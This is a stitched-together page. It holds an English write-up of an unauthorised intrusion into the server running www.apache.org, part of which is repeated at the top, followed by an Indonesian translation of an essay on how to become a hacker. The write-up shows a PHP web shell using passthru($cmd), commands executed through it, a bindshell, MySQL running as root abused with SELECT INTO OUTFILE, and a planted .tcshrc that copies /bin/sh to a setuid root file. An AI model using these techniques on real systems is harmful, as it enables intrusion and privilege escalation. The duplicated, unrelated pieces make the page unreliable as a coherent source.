world-writable dirs unexploitable but allowing ftp URLs to continue
working.
/*
* What could have been compromised?
*/
Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
wanted to, we could have done the same thing to Apache. Edit the source
and have people download trojaned versions. Scary, eh?
/*
* In short:
*/
- ftproot==webroot, worldwritable dirs allowing us to upload and execute
php3 scripts
- mysqld running as root, with a FFULL RIGHTS login without a password.
/*
* Compliments for the Apache admin team
*/
We would like to compliment the Apache admin team on their swift
response when they found out about the deface, and also on their
approach, even calling us ‘white hats’ (we were at the most ‘grey hats’
here, if you ask us).
by {} and Hardbeat
/*
* Before you start reading
*/
This paper does _not_ uncover any new vulnerabilities. It points out common
(and slightly less common) configuration errors, which even the people at
apache.org made. This is a general warning. Learn from it. Fix your systems,
so we won’t have to :)
/*
* introduction
*/
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running www.apache.org, and changed
the main page to show a ‘Powered by Microsoft BackOffice’ logo instead
of the default ‘Powered by Apache’ logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting in.
Note that the problems described in this paper are not apache-related,
these were all config errors (one of ‘m straight from BugZilla’s README,
but the README had enough warnings so I don’t blame the BugZilla developers).
People running apache httpd do not need to start worrying because of
anything uncovered herein.
We hacked www.apache.org because there are a lot of servers running apache
software and if www.apache.org got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.
We just couldn’t allow this to happen, we secured the main ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.
/*
* ftproot == wwwroot
* o+w dirs
*/
While searching for the laters apache httpserver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
the http://www.apache.org on that ftp including world writable directories.
So we wrote a little wuh.php3 including
passthru($cmd);
?>
and uploaded that to one of the world writable directories.
/*
* Our commands executed
*/
Unsurprisingly, ‘id’ got executed when called like
http://www.apache.org/thatdir/wuh.php3?cmd=id
Next was to upload some bindshell and compile it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
/*
* The shell
*/
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:
Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.
/*
* The apache.org box
*/
What did we find on apache.org box:
-o=rx /root
-o=rx homedirs
apache.org is a freebsd 3.4 box. We didn’t wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.
/*
* Mysql
*/
After a long search we found out that mysql was
running as user root and was reachable locally. Because apache.org was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.
We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.
/*
* Full mysql access
* use it to create files
*/
Having gained access to port 3306 coming from localhost, using the login
‘bugs’ (which had full access [as in "all Y's"]), our privs where
elevated substantially. This was mostly due to sloppy reading of the BugZilla
README which _does_ show a quick way to set things up (with all Y’s) but
also has lots of security warnings, including “don’t run mysqld as root”.
Using ‘SELECT … INTO OUTFILE;’ we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.
But what do you do with this ability? No use writing .rhosts files - no
sane rshd will accept a world-writable .rhosts file. Besides, rshd
wasn’t running on this box.
/*
* our /root/.tcshrc
*/
Therefore, we decided to perform a trojan-like trick. We used database
‘test’ and created a one-column table with a 80char textfield. A couple
of inserts and one select later, we had ourselves a /root/.tcshrc with
contents similar to:
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
/*
* ROOT!!
*/
Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
people legally having root, this didn’t take long. The rest is trivial
too - being root the deface was quickly done, but not until after a
short report listing the vulnerabilities and quick fixes was build.
Shortly after the deface, we sent this report to one of the admins.
/*
* Fix that ftproot==wwwroot
*/
Another thing we did before the deface, was creating a file ‘ftproot’ in
the wwwroot (which was also ftproot), moving ‘dist’ to ‘ftproot/dist’
and changing the ftproot to this new ‘ftproot’ dir, yielding the
world-writable dirs unexploitable but allowing ftp URLs to continue
working.
/*
* What could have been compromised?
*/
Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
wanted to, we could have done the same thing to Apache. Edit the source
and have people download trojaned versions. Scary, eh?
/*
* In short:
*/
- ftproot==webroot, worldwritable dirs allowing us to upload and execute
php3 scripts
- mysqld running as root, with a FFULL RIGHTS login without a password.
/*
* Compliments for the Apache admin team
*/
We would like to compliment the Apache admin team on their swift
response when they found out about the deface, and also on their
approach, even calling us ‘white hats’ (we were at the most ‘grey hats’
here, if you ask us).
Senin, 01 Desember 2008
PEMULA UNTUK SANG HACKER
Jargon File memuat beberapa definisi
untuk kata ‘hacker’, hampir semuanya berkaitan dengan kemahiran teknis
serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Namun
jika ingin /menjadi/ seorang hacker, hanya ada dua definisi yang relevan.
Ada sebuah komunitas, budaya, terdiri dari para programer mahir dan ahli
jaringan, yang sejarahnya bermula dari dekade minikomputer pertama yang
memiliki time-sharing dan zaman eksperimen awal ARPAnet. Dari anggota
budaya inilah muncul istilah ‘hacker’. Hackerlah yang membangun
internet. Hackerlah yang membuat sistem operasi Unix menjadi seperti
sekarang. Hackerlah yang mengoperasikan Usenet. Hacker yang membuat
World Wide Web berjalan. Jika Anda bagian dari budaya ini, jika Anda
telah menyumbangkan sesuatu untuk budaya ini, dan rekan lain di dalamnya
mengenali Anda sebagai seorang hacker, maka seorang hackerlah Anda.
Cara pikir hacker tidak terbatas pada budaya hacker software. Ada orang
yang menerapkan sikap hacker pada banyak bidang lain, elektronik atau
musik — bahkan, cara pikir hacker ada di tingkat tertinggi setiap
bidang ilmu dan seni. Hacker software mengakui semangat serupa ini dan
kadang menyebut orang-orang tersebut “hacker” pula — sebagian juga
berpendapat bahwa sifat seorang hacker tidak bergantung pada wadah
tempatnya bekerja. Tapi, untuk selanjutnya, kita akan memusatkan
perhatian pada software hacker, keahlian dan sikap mereka, serta tradisi
budaya bersama yang melahirkan istilah ?hacker?.
Terdapat pula sekelompok lain yang menyebut-nyebut diri hacker, padahal
bukan. Mereka-mereka ini (terutama terdiri dari remaja pria) mendapat
kepuasan lewat membobol komputer dan mengakali telepon (phreaking).
Hacker sejati menyebut orang-orang ini ‘cracker’ dan tidak suka bergaul
dengan mereka. Hacker sejati memandang cracker sebagai orang malas,
tidak bertanggung jawab, dan tidak terlalu cerdas. Hacker sejati tidak
setuju jika dikatakan bahwa dengan menerobos keamanan seseorang telah
menjadi hacker, sama seperti jika dikatakan bahwa mengontakkan mobil
membuat seseorang langsung menjadi ahli mesin. Sayangnya, wartawan dan
penulis telah salah kaprah dan menggunakan kata ‘hacker’ untuk
melukiskan cracker; sesuatu yang selalu membuat kesal para hacker sejati.
Perbedaan mendasar antara hacker dan cracker: hacker membangun, cracker
membongkar.
Jika Anda ingin menjadi hacker, lanjutkan membaca. Jika ingin menjadi
cracker, kunjungi newsgroup alt.2600 dan bersiaplah
menghabiskan lima sampai sepuluh tahun di balik jeruji setelah
mengetahui bahwa Anda ternyata tidak sepandai yang Anda kira. Hanya itu
yang perlu dikatakan tentang cracker.
3. Sikap Hacker
Pekerjaan hacker menyelesaikan masalah dan membangun sesuatu, dan hacker
percaya pada kebebasan dan kerjasama sukarela. Agar dapat diterima
sebagai seorang hacker, Anda harus berbuat seolah-olah Anda memiliki
sikap ini. Dan agar dapat berbuat demikian, sikap ini harus benar-benar
diyakini.
Tapi kalau Anda berniat menumbuhkan sikap ini hanya agar dapat diterima
di lingkungan hacker, maka Anda belum menangkap maknanya. Menjadi orang
yang meyakini sikap hacker penting bagi /Anda sendiri/ — agar bisa
terus belajar dan termotivasi. Sama seperti semua seni kreatif lain,
cara paling efektif untuk menjadi seorang ahli adalah dengan meniru cara
berpikir ahli-ahli lainnya — bukan hanya secara intelektual tapi juga
emosional.
Seperti diungkapkan oleh sebuah sajak Zen modern di bawah:
Untuk mengikuti jalan:
pandanglah sang ahli,
ikuti sang ahli,
berjalan bersama sang ahli,
kenali sang ahili,
jadilah sang ahli.
Jadi, jika ingin menjadi hacker, ulangi pernyataan di bawah ini sampai
benar-benar Anda yakini:
3.1 Dunia penuh dengan persoalan-persoalan menarik yang menanti
untuk dipecahkan.
Menjadi seorang hacker sebetulnya menyenangkan, tapi ‘menyenangkan’ yang
menuntut usaha. Usaha ini membutuhkan motivasi. Atlet yang sukses
memperoleh motivasi dari kepuasan fisik saat tubuh mereka beraksi, saat
mendorong diri melampaui batasan fisik. Demikian juga, untuk menjadi
seorang hacker Anda harus merasa tertarik memecahkan persoalan, mengasah
keahlian, dan melatih kecerdasan.
Jika Anda merasa bukan seperti ini secara naluri, Anda harus berusaha
menjadi demikian jika ingin berhasil menjadi hacker. Jika tidak, energi
hacking Anda akan melemah karena perhatian teralihkan oleh seks, uang,
dan kedudukan.
(Anda pun harus mengembangkan keyakinan pada kapasitas belajar diri –
keyakinan bahwa meskipun yang Anda ketahui belum cukup untuk memecahkan
suatu persoalan, jika satu potongan saja dari persoalan Anda usaha
pecahkan, maka itu sudah cukup memberi pelajaran kepada Anda untuk
menyelesaikan potongan berikutnya — dan berikutnya, hingga semua
potongan terselesaikan.)
3.2 Tidak seharusnya masalah yang sama dipecahkan dua kali.
Otak yang kreatif merupakan sumber daya yang berharga dan terbatas.
Tidak seharusnya sumber daya ini diboroskan hanya untuk memikirkan
kembali suatu persoalan dari dasar; padahal ada begitu banyak masalah
menarik baru lain di dunia ini yang menanti.
Agar dapat bertingkah laku seperti hacker, Anda harus percaya bahwa
waktu berpikir hacker lain itu berharga — sebegitu berharganya hingga
merupakan suatu kewajiban moral bagi Anda untuk membagikan informasi,
menyelesaikan masalah lalu memberi jawabannya pada hacker lain supaya
mereka menyelesaikan masalah /baru/ dan tidak selamanya berkutat pada
masalah-masalah lama.
(Tidak harus berkeyakinan bahwa /semua/ produk kreatif Anda harus
direlakan bagi orang lain, meski hacker yang demikianlah yang paling
dihormati hacker lain. Menurut nilai-nilai hacker, jual saja sebagian
asal cukup untuk tetap makan, tetap dapat membayar sewa rumah, dan tetap
dapat memakai komputer. Tidak melanggar nilai hacker jika Anda
memanfaatkan ilmu Anda untuk membiayai keluarga atau bahkan memperkaya
diri, asalkan sambil melakukannya tetap setia pada disiplin ilmu dan
sesama hacker lain.)
3.3 Kebosanan dan pekerjaan membosankan itu jahat.
Hacker (dan manusia kreatif pada umumnya) tidak seharusnya dibosankan
dengan pekerjaan bodoh yang berulang-ulang, karena ini berarti mereka
tidak melakukan pekerjaan yang hanya bisa dilakukan oleh mereka –
menyelesaikan persoalan-persoalan baru. Pemborosan sumber daya ini
merugikan semua pihak. Karena itu kebosanan dan pekerjaan membosankan
bukan saja tidak menyenangkan tapi juga jahat.
Agar dapat bertingkah laku seperti hacker, Anda harus meyakini hal ini
sehingga Anda berkeinginan untuk mengotomasi sebanyak mungkin bagian
yang membosankan, bukan saja bagi diri sendiri tapi juga orang lain
(terutama sesama hacker).
(Ada satu kekecualian yang jelas. Hacker kadang melakukan pekerjaan yang
di mata orang lain tampaknya berulang-ulang atau membosankan; ini untuk
latihan menjernihkan pikiran, atau dalam rangka memperoleh keahlian atau
pengalaman yang tak bisa tidak harus diperoleh dengan cara demikian.
Tentu saja hal ini dilakukan atas dasar kehendaknya sendiri — setiap
orang yang mampu berpikir tidak seharusnya dipaksa menjadi bosan.)
3.4 Kebebasan itu baik.
Secara alamiah hacker itu anti-otoriter. Siapa pun yang dapat memerintah
Anda akan dapat menghentikan Anda untuk menyelesaikan persoalan yang
menarik — dan, sesuai pikiran otak para otoriter, pada umumnya akan
membuat alasan yang benar-benar bodoh untuk itu. Jadi sikap otoriter
harus dilawan di mana pun Anda berada, agar nantinya tidak menekan Anda
dan hacker-hacker lain.
(Tidak untuk disamakan dengan melawan setiap bentuk kekuasaan. Anak-anak
tetap harus dibimbing, para kriminal ditahan. Seorang hacker mungkin
akan tunduk pada bentuk-bentuk kekuasaan tertentu agar dapat memperoleh
sesuatu yang lebih dari waktu yang dibutuhkan untuk mengikuti peraturan.
Ini lebih merupakan tawar-menawar yang terbatas dan dilakukan secara
sadar; jenis tunduk diri yang diinginkan oleh orang-orang otoriter tentu
saja tidak bisa diterima.)
Para otoriter hidup di atas sensor dan kerahasiaan. Mereka tidak percaya
pada kerjasama dan berbagi informasi — satu-satunya jenis ‘kerja sama’
yang disukai adalah yang dapat mereka kendalikan. Jadi untuk berlaku
seperti seorang hacker, Anda perlu mengembangkan rasa benci pada
penyensoran, kerahasiaan, dan penggunaan kekerasan atau penipuan untuk
memaksakan kehendak pada orang dewasa. Dan Anda harus bersedia bertindak
atas dasar keyakinan ini.
3.5 Sikap saja tak ada artinya tanpa keahlian.
Untuk menjadi hacker, Anda perlu mengembangkan sebagian dari sikap-sikap
yang telah disebutkan. Tapi memiliki sikap saja belum membuat seseorang
menjadi hacker, atau atlet juara atau bintang rock. Untuk menjadi hacker
dibutuhkan kecerdasan, latihan, dedikasi, dan kerja keras.
Jadi, Anda perlu belajar untuk tidak mempercayai sikap saja dan
menghormati setiap bentuk kemampuan. Hacker tidak bersedia menghabiskan
waktu dengan orang-orang yang hanya bersikap seperti hacker, tapi hacker
memuja keahlian — terutama keahlian dalam hacking, tapi juga keahlian
di bidang apapun. Yang terlebih bagus lagi yaitu keahlian dalam bidang
yang sulit dan hanya dapat dikuasai oleh sedikit orang, dan yang terbaik
adalah keahlian dalam bidang yang sulit dan melibatkan ketajaman mental,
keahlian, serta konsentrasi.
Bila Anda memuja keahlian, Anda akan merasa senang dalam meningkatkan
kemampuan diri — kerja keras dan dedikasi akan menjadi semacam
permainan yang mengasyikkan ketimbang pekerjaan membosankan. Dan hal ini
penting dalam proses menjadi hacker.
4. Kemampuan Hacking Dasar
Sikap hacker penting, tapi terlebih penting lagi keahlian. Sikap bukan
pengganti keahlian, dan ada seperangkat keahlian menggunakan perangkat
tool yang perlu Anda kuasai sebelum orang bahkan bisa berpikir memanggil
Anda hacker.
Perangkat tool ini perlahan-lahan memang berubah seiring teknologi yang
menciptakan keahlian baru dan membuat keahlian lama tidak berguna.
Misalnya, dulu keahlian pemrograman bahasa mesin termasuk, dan kemampuan
HTML belum dan hanya baru-baru ini saja. Yang jelas saat ini yang
termasuk adalah:
4.1 Pelajari pemrograman.
Ini tentunya merupakan keahlian hacking yang fundamental. Jika Anda
belum pernah belajar bahasa pemrograman mana pun, saya sarankan mulai
dengan Python . Disainnya bersih, terdokumentasi
dengan baik, dan cukup mudah bagi pemula. Meski menjadi bahasa pertama,
bukan berarti Python hanya mainan; Python amat ampuh dan fleksibel dan
cocok untuk proyek-proyek besar. Saya menulis evaluasi terhadap Python
yang
lebih mendetil. Tutorial Python bisa dilihat di situs web Python
(terjemahan Indonesia
).
Java juga bahasa yang baik untuk belajar pemrograman. Lebih sulit dari
Python, tapi menghasilkan kode yang lebih cepat dari Python. Menurut
saya Java amat bagus sebagai bahasa kedua.
Perlu diingat bahwa dengan satu dua bahasa pemrograman saja Anda tidak
akan mencapai tingkat keahlian seorang hacker, atau bahkan seorang
programer — Anda perlu belajar cara memandang pemrograman secara umum,
tidak bergantung pada satu bahasa mana pun. Untuk menjadi hacker sejati,
Anda perlu mencapai tahap di mana Anda dapat mempelajari bahasa baru
dalam beberapa hari, dengan menghubungkan apa yang ada di manual dengan
apa yang telah Anda ketahui. Hal ini berarti, Anda perlu mempelajari
beberapa bahasa yang jauh berbeda satu dengan yang lainnya.
Jika ingin serius dalam pemrograman, pada akhirnya Anda harus belajar C,
bahasa inti sistem operasi Unix. C++ terkait erat dengan C; jika tahu
yang satu, belajar yang lain tidak akan susah. Namun keduanya bukan
bahasa yang cocok untuk dipelajari pertama kali.
Bahasa lain yang juga penting untuk hacker antara lain Perl
dan LISP .
Perl patut dipelajari untuk kebutuhan praktis; Perl dipakai secara amat
meluas untuk halaman web aktif dan untuk administrasi sistem, jadi
meskipun nantinya Anda tidak akan membuat program dalam Perl, Anda
sebaiknya belajar cara membaca Perl. LISP patut dipelajari karena akan
memberikan pengalaman ‘membuka pikiran’ jika Anda telah menangkapnya;
dengan mempelajari LISP, Anda akan menjadi seorang programer yang lebih
baik, meskipun dalam kenyataan Anda akan jarang memakainya.
Paling baik sebetulnya mempelajari semuanya (Python, Java, C/C++, Perl,
dan LISP). Selain merupakan bahasa-bahasa terpenting dalam hacking,
masing-masing mewakili cara pendekatan pemrograman yang berbeda, dan
tiap bahasa akan memberi Anda pelajaran-pelajaran berharga.
Tentu saja, di sini tidak mungkin saya memberi petunjuk lengkap cara
memrogram — pemrograman merupakan keahlian yang kompleks. Tapi, satu
petunjuk yang saya berikan: buku dan kursus saja tidak akan membuat Anda
menjadi seorang programer (banyak, mungkin hampir semua hacker terbaik
itu belajar mandiri). Anda akan menjadi programer dengan (a) /membaca
kode/ dan (b) /menulis kode/.
Belajar membuat program adalah seperti belajar menulis dalam bahasa
alamiah. Cara terbaik untuk melakukannya dengan membaca tulisan yang
dibuat oleh para ahlinya, membuat tulisan sendiri sedikit, membaca lebih
banyak lagi, menulis lebih banyak, dan mengulanginya sampai di tulisan
Anda mulai terbentuk semacam kekuatan dan kemahiran penggunaan kata
seperti di tulisan-tulisan yang semula Anda teladani.
Dahulu sulit mencari kode yang baik untuk dibaca, karena dulu hanya
sedikit program-program besar yang terdapat dalam bentuk source untuk
bisa dibaca dan diutak-atik hacker-hacker pemula. Sekarang kondisinya
jauh berbeda: software open-source, tool pemrograman, dan sistem operasi
(semua dibuat oleh hacker) kini banyak terdapat. Dan ini mengantar kita
pada poin berikutnya?
4.2 Cari, pelajari, dan jalankan salah satu versi Unix open-source.
Saya anggap Anda memiliki, atau memperoleh akses ke komputer pribadi
(anak-anak sekarang mudah sekali mendapatkan akses :-)). Kalau ada satu
langkah terpenting bagi pemula untuk mendapatkan kemampuan hacker, itu
adalah mendapatkan satu salinan sistem operasi Linux atau salah satu
Unix BSD, meng-install-nya di komputer sendiri, dan menjalankannya.
(Tidak saya sarankan meng-install Linux sendirian jika Anda pemula. Cari
klub komputer atau kelompok pengguna Linux di daerah Anda dan mintalah
bantuan; atau hubungi Linux Internet Support Co-Operative
. LISC mengurus channel-channel IRC
tempat Anda dapat bertanya).
Tentu, di dunia ini ada banyak sistem operasi selain Unix. Tapi
sistem-sistem operasi tersebut didistribusikan dalam program jadi
(binary) — kodenya tidak bisa Anda baca, sehingga sistem operasi
tersebut tidak bisa Anda modifikasi. Belajar hacking di DOS atau Windows
atau MacOS adalah bagaikan belajar menari dengan seluruh tubuh digips.
Lagipula Unix-lah sistem operasi Internet. Meski tentu bisa belajar
menggunakan internet tanpa mengenal Unix, Anda tak akan mampu menjadi
hacker Internet tanpa memahami Unix. Untuk alasan inilah, budaya hacker
saat ini cukup cenderung berat ke Unix. (Ini tidak selalu benar,
beberapa hacker zaman dahulu tidak menyukai kenyataan ini, tapi
simbiosis antara Unix dan Internet telah menjadi kuat sehingga bahkan
otot Microsoft pun tak mampu membengkokkannya.)
Jadi, buatlah sistem Unix — saya pribadi menyukai Linux tapi tentu saja
ada yang lainnya (dan ya, Anda /bisa/ menjalankan Linux dan DOS/Windows
di mesin yang sama). Pelajari Unix. Jalankan Unix. Bermain-mainlah
dengan Unix. Berhubungan dengan internet melalui Unix. Baca kodenya.
Modifikasi. Di Unix Anda akan menjumpai tool pemrograman yang lebih baik
(termasuk C, Lisp, Python, dan Perl) ketimbang di sistem operasi
Microsoft manapun, Anda akan bersenang-senang, dan Anda akan mendapat
pengetahuan lebih dari yang Anda sadari sampai kemudian ketika mengenang
kembali Anda telah seorang hacker ahli.
Lebih jauh tentang mempelajari Unix, lihat The Loginataka
.
Untuk memperoleh Linux, lihat Where can I get Linux
.
Bantuan dan resource BSD Unix bisa Anda lihat di www.bsd.org
.
Saya menulis pengantar dasar Unix dan Internet
.
(Catatan: Saya tidak menganjurkan menginstal Linux atau BSD sendirian
jika Anda seorang pemula. Untuk Linux, carilah sebuah kelompok pengguna
lokal Linux [KPLI di Indonesia] dan mintalah bantuan mereka; atau
hubungi Open Projects Network . LISC
memaintain daftar IRC channel
yang bisa Anda datangi untuk memperoleh bantuan.)
4.3 Pelajari cara menggunakan World Wide Web dan cara menulis HTML.
Kebanyakan hasil budaya hacker bekerja di belakang layar tanpa diketahui
orang banyak, membantu mengoperasikan pabrik, kantor, dan universitas,
tanpa ada pengaruh yang jelas pada cara hidup para non-hacker. Web
adalah satu kekecualian, bahkan para politisi pun mengakui bahwa barang
mainan hacker yang besar dan berkilauan ini telah mengubah dunia. Untuk
satu alasan ini saja (dan juga banyak alasan bagus lainnya) Anda perlu
mempelajari cara pengoperasian Web.
Maksudnya lebih dari sekedar cara menggunakan browser (sebab kalau itu
siapa pun bisa), tapi mempelajari cara menulis HTML, bahasa markup Web.
Bila Anda belum menguasai pemrograman, lewat menulis HTML Anda akan
diajari beberapa kebiasaan mental yang akan membantu Anda belajar
pemrograman. Jadi, buatlah home page.
Hanya dengan membuat homepage tidak akan membuat Anda menjadi (bahkan
dekat pun tidak) seorang hacker. Web penuh dengan home page. Kebanyakan
hanyalah kotoran tanpa arti, tanpa isi — kotoran yang tampak indah,
tapi tetap kotoran (lebih jauh tentang ini, lihat The HTML Hell Page
).
Agar bermanfaat, halaman Anda harus mengandung /content/ — harus
menarik dan/atau berguna bagi hacker lain. Dan ini mengantar kita pada
bahasan berikutnya…
5. Status dalam Budaya Hacker
Seperti halnya dalam kebanyakan budaya lain tanpa ekonomi uang, dunia
hacker berjalan di atas reputasi. Anda berusaha menyelesaikan
persoalan-persoalan menarik, tapi seberapa menarik persoalan tersebut,
dan apakah solusi Anda benar-benar baik, merupakan sesuatu yang umumnya
hanya dapat dinilai oleh rekan sejawat atau atasan Anda.
Demikian juga, dalam permainan hacker, Anda menjaga nilai terutama lewat
pandangan hacker lain terhadap kemampuan Anda (inilah sebabnya Anda
belum benar-benar seorang hacker sampai hacker-hacker lain dengan
konsisten menyebut Anda seorang hacker). Kenyataan ini dikaburkan oleh
citra hacking sebagai pekerjaan menyendiri; juga oleh tabu budaya hacker
(yang kini perlahan-lahan menghilang namun masih tetap kuat) yang tidak
mengakui bahwa ego atau pengesahan dari luar berpengaruh pada motivasi
seseorang.
Tegasnya, dunia hacker merupakan apa yang disebut oleh para antropolog
sebagai /budaya memberi/. Kedudukan dan reputasi tidak diperoleh dengan
menguasai orang lain, atau dengan menjadi seseorang yang cantik, atau
dengan memiliki sesuatu yang tidak dimiliki orang lain, tapi dengan
memberikan sesuatu. Tepatnya, dengan memberikan waktu Anda, kreativitas,
dan hasil dari kemampuan Anda.
Pada dasarnya ada lima hal yang bisa dilakukan agar dihormati oleh hacker:
5.1 Menulis software open-source.
Yang pertama (yang paling inti dan paling tradisional) adalah menulis
program yang dipandang berguna atau mengasyikkan oleh hacker lain,
kemudian memberikan source programnya untuk digunakan oleh seluruh
budaya hacker.
(Dulu karya semacam ini disebut ’software bebas’ (free software), tapi
istilah ini memusingkan banyak orang karena mereka tidak tahu apa arti
tepat dari ‘free’. Sekarang banyak yang lebih menyukai istilah ’software
open-source ’.)
Para dewa^1 yang dipuja di dunia hacker yaitu mereka yang telah menulis
program besar yang berkemampuan tinggi dan dibutuhkan di mana-mana, lalu
memberikan program ini cuma-cuma, dan sekarang program itu telah dipakai
setiap orang.
5.2 Membantu menguji dan men-debug software open-source
Yang selanjutnya berjasa adalah mereka yang bertahan menggunakan dan
men-debug software open-source. Di dunia yang tak sempurna ini, tanpa
terhindarkan kita harus menghabiskan sebagian besar waktu pengembangan
software dalam tahap debugging. Karena itu setiap penulis software
open-source yang waras akan berpendapat bahwa penguji beta yang baik
(yang tahu bagaimana menjelaskan gejala masalah dengan jelas, bagaimana
melokalisir masalah, mampu mentolerir bug di rilis cepat, dan bersedia
menjalankan beberapa rutin diagnostik sederhana) itu amat sangat
berharga. Bahkan satu saja penguji beta sudah mampu membantu menjadikan
tahap debugging dari mimpi buruk panjang yang melelahkan menjadi hanya
gangguan yang justru menyehatkan.
Bila Anda seorang pemula, cobalah mencari program yang sedang dalam
tahap pengembangan, yang menarik bagi Anda, dan jadilah seorang penguji
beta yang baik. Dari sini Anda secara alamiah akan meningkat dari
membantu menguji program ke membantu memodifikasi program. Anda akan
belajar banyak, dan pada gilirannya nanti Anda pun akan memperoleh
bantuan dari orang lain saat membutuhkan.
5.3 Menerbitkan informasi yang bermanfaat.
Yang bagus juga untuk dilakukan yaitu mengumpulkan dan menyaring
informasi-informasi menarik dan berguna ke dalam halaman Web atau
dokumen seperti FAQ (Frequently Asked Questions — daftar jawaban
pertanyaan-pertanyaan yang sering diajukan orang), dan membuat
dokumen-dokumen ini mudah didapat orang.
Pemelihara FAQ teknis yang besar-besar juga mendapatkan hormat hampir
seperti para penulis software open-source.
5.4 Membantu terus berjalannya infrastruktur.
Budaya hacker (dan juga dalam hal ini pengembangan rekayasa Internet)
dijalankan oleh relawan. Banyak sekali pekerjaan yang dibutuhkan namun
bukan pekerjaan yang agung, yang harus dilakukan agar semuanya tetap
berjalan ? melakukan administrasi mailing list, moderasi newsgroup,
memelihara situs archive software yang besar, mengembangkan
dokumen-dokumen RFC serta standar teknis lainnya.
Mereka yang melakukan hal-hal seperti dengan baik juga dihormati, karena
orang tahu bahwa pekerjaan seperti ini menghabiskan banyak waktu dan
kalah mengasyikkan dibanding bermain dengan kode. Melakukan pekerjaan
seperti ini menunjukkan bahwa seseorang memiliki dedikasi.
5.5 Mengabdi kepada budaya hacker itu sendiri.
Terakhir, Anda dapat mengabdi dan menyebarluaskan budaya hacker (lewat,
misalnya, menulis panduan tepat bagi pemula tentang cara menjadi seorang
hacker :-)). Anda tidak bisa melakukan hal ini kecuali telah
berkecimpung cukup lama dan menjadi figur yang cukup terkenal di salah
satu dari empat hal sebelumnya.
Budaya hacker tidak persis memiliki pemimpin, tapi memiliki pahlawan,
tetua suku, sejarawan, dan para jubir. Jika Anda telah cukup lama berada
di ‘medan tempur’, Anda dapat saja memperoleh salah satu dari
jabatan-jabatan ini. Peringatan: hacker tidak mempercayai ego tetua suku
yang terlampau mencolok, jadi berbahaya jika Anda terlalu terlihat untuk
berusaha menjadi terkenal. Cara yang benar seharusnya yaitu dengan
memposisikan diri sedemikian rupa sehingga jabatan tersebut jelas telah
Anda capai, lalu kemudian bersikap rendah hati dan ramah sehubungan
dengan kedudukan Anda tersebut.
6. Hubungan Hacker/Orang Nyentrik^2
Bertentangan dengan mitos populer, tidak perlu menjadi orang nyentrik
untuk menjadi hacker. Meski itu sebetulnya membantu, dan pada
kenyataannya banyak hacker yang merupakan orang nyentrik. Menjadi orang
yang tersisih secara sosial membantu Anda tetap memusatkan perhatian
pada hal-hal yang benar-benar penting, seperti berpikir dan hacking.
Karena alasan ini, banyak hacker mengadopsi label ‘nerd’ dan bahkan
menggunakan istilah yang lebih kasar ‘geek’ sebagai lencana kebanggaan
– cara memproklamasikan kebebasan dari tuntutan sosial. Lihatlah The
Geek Page untuk pembahasan
menyeluruh.
Bila Anda tetap dapat memusatkan perhatian pada hacking sampai menjadi
cukup ahli dan tetap memiliki kegiatan sosial, itu sah-sah saja. Hal ini
memang lebih mudah dilakukan sekarang ketimbang waktu saya seorang
pemula di tahun 1970-an; budaya mainstream saat ini jauh lebih ramah
pada para techno-nerd. Malah kini semakin banyak orang yang menyadari
bahwa hacker kadang merupakan kekasih yang berkualitas dan calon
pasangan hidup potensial. Lebih lanjut tentang hal ini, lihat Girl’s
Guide to Geek Guys.
Bila ketertarikan Anda pada hacking adalah karena Anda tidak mempunyai
kegiatan lain, itu juga tidak apa-apa — setidaknya tidak perlu
susah-susah memusatkan perhatian. Mudah-mudahan satu hari nanti Anda
akan memperoleh kehidupan sosial.
7. Panduan Gaya
Saya ulangi, untuk menjadi hacker, Anda perlu memasuki cara pikir
hacker. Hal-hal tertentu yang Anda lakukan saat jauh dari komputer
kadang membantu mencapainya. Tentu saja kegiatan-kegiatan ini bukan
sebagai pengganti hacking (tak ada yang dapat menggantikan hacking) tapi
banyak hacker melakukannya, dan merasa bahwa kegiatan tersebut secara
dasar berhubungan dengan intisari hacking.
* Membaca karya fiksi ilmiah. Datang ke pertemuan fiksi ilmiah
(salah satu jalan yang bagus untuk bertemu hacker dan proto-hacker).
* Mempelajari Zen, dan/atau berlatih bela diri. (Disiplin mental
yang diajarkan serupa dengan hacking dalam hal-hal penting.)
* Mengasah pendengaran musik. Belajar menghargai jenis-jenis musik
yang tidak lazim. Belajar menjadi ahli dalam bermain alat musik
tertentu, atau berlatih bernyanyi.
* Mengembangkan apresiasi akan permainan kata.
* Belajar menulis dalam bahasa asli (Sejumlah banyak hacker,
termasuk semua hacker terbaik yang saya kenal, adalah penulis yang
cakap).
Semakin banyak dari hal-hal di atas yang sudah Anda kerjakan, semakin
besar kemungkinan Anda adalah calon hacker berbakat. Kenapa hal-hal di
atas yang berhubungan dengan hacking tidak sepenuhnya jelas, tapi
semuanya berkaitan dengan gabungan kemampuan otak kiri dan kanan yang
penting (hacker harus dapat berpikir logis dan juga sewaktu-waktu harus
dapat melangkah keluar dari logika umum suatu permasalahan).
Terakhir, sebagian dari hal-hal yang /tidak/ sebaiknya dilakukan:
* Jangan menggunakan ID atau nama samaran yang konyol atau berlebihan.
* Jangan terlibat perang flame di Usenet (atau di mana pun).
* Jangan menggelari diri ‘cyberpunk’, jangan berurusan dengan para
‘cyberpunk’.
* Jangan mengirim posting atau email yang penuh salah ketik dan
bertata bahasa buruk.
